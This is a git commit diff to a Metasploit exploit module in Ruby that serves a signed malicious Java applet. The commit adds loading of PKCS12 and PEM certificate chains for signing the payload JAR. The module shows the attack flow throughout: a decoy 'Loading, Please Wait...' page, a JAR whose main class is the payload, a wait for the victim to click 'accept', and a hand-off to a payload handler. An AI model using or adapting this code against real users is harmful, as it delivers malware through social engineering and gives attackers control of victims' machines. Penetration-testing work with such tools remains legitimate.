add support for PKCS12 (.pfx) cert/key files and cert chains in PEM files
git-svn-id: file:///home/svn/framework3/trunk@12735 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
8acfef8770
commit
c5781ae515
|
@ -13,6 +13,8 @@ require 'msf/core'
|
|||
require 'rex'
|
||||
require 'rex/zip'
|
||||
|
||||
load './lib/rex/zip/jar.rb'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
|
@ -81,17 +83,31 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
],
|
||||
'DefaultTarget' => 1
|
||||
))
|
||||
register_options(
|
||||
[
|
||||
OptString.new('CERTCN', [ true, "The CN= value for the certificate. Cannot contain ',' or '/'", "SiteLoader" ]),
|
||||
OptString.new('APPLETNAME', [ true, "The main applet's class name.", "SiteLoader" ]),
|
||||
OptPath.new('SigningCert', [ false, "Path to a signing certificate. Values from the cert will override CERTCN" ]),
|
||||
register_options( [
|
||||
OptString.new('CERTCN', [ true,
|
||||
"The CN= value for the certificate. Cannot contain ',' or '/'",
|
||||
"SiteLoader"
|
||||
]),
|
||||
OptString.new('APPLETNAME', [ true,
|
||||
"The main applet's class name.",
|
||||
"SiteLoader"
|
||||
]),
|
||||
OptPath.new('SigningCert', [ false,
|
||||
"Path to a signing certificate in PEM or PKCS12 (.pfx) format"
|
||||
]),
|
||||
OptPath.new('SigningKey', [ false,
|
||||
"Path to a signing key in PEM format"
|
||||
]),
|
||||
OptString.new('SigningKeyPass', [ false,
|
||||
"Password for signing key (required if SigningCert is a .pfx)"
|
||||
]),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
# Not implemented yet.
|
||||
#OptString.new('PACKAGENAME', [ true, "The package name for gen'd classes.","x" ]),
|
||||
# Needs Rex::Zip to be able to crack zip files
|
||||
#OptString.new('CUSTOMJAR', [ false, "A custom .jar applet to use.", nil]),
|
||||
], self.class)
|
||||
|
||||
def setup
|
||||
load_cert
|
||||
super
|
||||
end
|
||||
|
||||
|
||||
|
@ -123,21 +139,55 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
data_dir = File.join(Msf::Config.data_directory, "exploits", "java_signed_applet")
|
||||
jar.add_file("SiteLoader.class", File.read(File.join(data_dir, "SiteLoader.class")))
|
||||
jar.build_manifest
|
||||
jar.build_manifest(:main_class => "metasploit.Payload")
|
||||
|
||||
jar.sign(@key, @cert, @ca_certs)
|
||||
#File.open("payload.jar", "wb") { |f| f.write(jar.to_s) }
|
||||
|
||||
print_status(
|
||||
"Sending #{datastore['APPLETNAME']}.jar to #{cli.peerhost}. "+
|
||||
"Waiting for user to click 'accept'...")
|
||||
send_response( cli, jar.to_s, { 'Content-Type' => "application/octet-stream" } )
|
||||
|
||||
handler( cli )
|
||||
|
||||
end
|
||||
|
||||
def load_cert
|
||||
if datastore["SigningCert"]
|
||||
cert_str = File.read(datastore["SigningCert"])
|
||||
@cert = OpenSSL::X509::Certificate.new(cert_str)
|
||||
|
||||
# First try it as RSA and fallback to DSA if that doesn't work
|
||||
begin
|
||||
@key = OpenSSL::PKey::RSA.new(cert_str)
|
||||
rescue OpenSSL::PKey::RSAError => e
|
||||
@key = OpenSSL::PKey::DSA.new(cert_str)
|
||||
pfx = OpenSSL::PKCS12.new(cert_str, datastore["SigningKeyPass"])
|
||||
@cert = pfx.certificate
|
||||
@key = pfx.key
|
||||
@ca_certs = pfx.ca_certs
|
||||
|
||||
rescue OpenSSL::PKCS12::PKCS12Error
|
||||
# it wasn't pkcs12, try it as concatenated PEMs
|
||||
certs = cert_str.scan(/-+BEGIN CERTIFICATE.*?END CERTIFICATE-+/m)
|
||||
@cert = OpenSSL::X509::Certificate.new(certs.shift)
|
||||
@ca_certs = nil
|
||||
while certs.length > 0
|
||||
@ca_certs ||= []
|
||||
@ca_certs << OpenSSL::X509::Certificate.new(certs.shift)
|
||||
end
|
||||
|
||||
if datastore["SigningKey"] and File.file?(datastore["SigningKey"])
|
||||
key_str = File.read(datastore["SigningKey"])
|
||||
else
|
||||
key_str = cert_str
|
||||
end
|
||||
|
||||
# First try it as RSA and fallback to DSA if that doesn't work
|
||||
begin
|
||||
@key = OpenSSL::PKey::RSA.new(cert_str, datastore["SigningKeyPass"])
|
||||
rescue OpenSSL::PKey::RSAError => e
|
||||
@key = OpenSSL::PKey::DSA.new(cert_str, datastore["SigningKeyPass"])
|
||||
end
|
||||
end
|
||||
else
|
||||
# Name.parse uses a simple regex that isn't smart enough to allow slashes or
|
||||
# commas in values, just remove them.
|
||||
# Name.parse uses a simple regex that isn't smart enough to allow
|
||||
# slashes or commas in values, just remove them.
|
||||
certcn = datastore["CERTCN"].gsub(%r|[/,]|, "")
|
||||
x509_name = OpenSSL::X509::Name.parse(
|
||||
"C=Unknown/ST=Unknown/L=Unknown/O=Unknown/OU=Unknown/CN=#{certcn}"
|
||||
|
@ -153,19 +203,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
@cert.not_before = Time.now
|
||||
@cert.not_after = @cert.not_before + 3600*24*365*3 # 3 years
|
||||
end
|
||||
|
||||
jar.sign(@key, @cert)
|
||||
File.open("payload.jar", "wb") { |f| f.write(jar.to_s) }
|
||||
|
||||
print_status(
|
||||
"Sending #{datastore['APPLETNAME']}.jar to #{cli.peerhost}. "+
|
||||
"Waiting for user to click 'accept'...")
|
||||
send_response( cli, jar.to_s, { 'Content-Type' => "application/octet-stream" } )
|
||||
|
||||
handler( cli )
|
||||
|
||||
end
|
||||
|
||||
|
||||
def generate_html
|
||||
html = %Q|<html><head><title>Loading, Please Wait...</title></head>\n|
|
||||
html << %Q|<body><center><p>Loading, Please Wait...</p></center>\n|
|
||||
|
@ -179,46 +219,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
return html
|
||||
end
|
||||
|
||||
def build_static_sig(jar)
|
||||
files = [
|
||||
"metasploit/Payload.class",
|
||||
"SiteLoader.class",
|
||||
"META-INF/MANIFEST.MF",
|
||||
"META-INF/SIGNFILE.RSA",
|
||||
"META-INF/SIGNFILE.SF",
|
||||
]
|
||||
|
||||
# Ghetto. Replace existing files in the Jar, then add in
|
||||
# anything that wasn't replaced. The reason for replacing the
|
||||
# .class files is to ensure that we're sending the
|
||||
# Payload.class as was signed rather than a newer one that was
|
||||
# updated without updating the signature. We'll just have to
|
||||
# cross our fingers and hope that any updates don't break
|
||||
# backwards compatibility in the handler until we can get
|
||||
# signing to work from ruby. Once we can sign jars directly
|
||||
# from ruby using OpenSSL, this won't be a problem.
|
||||
replaced = []
|
||||
# Replace the ones that are already there.
|
||||
jar.entries.map do |e|
|
||||
file = File.join(Msf::Config.data_directory, "exploits", "java_signed_applet", e.name)
|
||||
if File.file? file
|
||||
File.open(file, "rb") do |f|
|
||||
e.data = f.read(f.stat.size)
|
||||
end
|
||||
end
|
||||
replaced << e.name
|
||||
end
|
||||
# Add the rest
|
||||
files.each { |e|
|
||||
next if replaced.include? e
|
||||
file = File.join(Msf::Config.data_directory, "exploits", "java_signed_applet", e)
|
||||
File.open(file, "rb") do |f|
|
||||
jar.add_file(e, f.read(f.stat.size))
|
||||
end
|
||||
}
|
||||
|
||||
jar
|
||||
end
|
||||
|
||||
# Currently unused until we ship a java compiler of some sort
|
||||
def applet_code
|
||||
|
|
Loading…
Reference in New Issue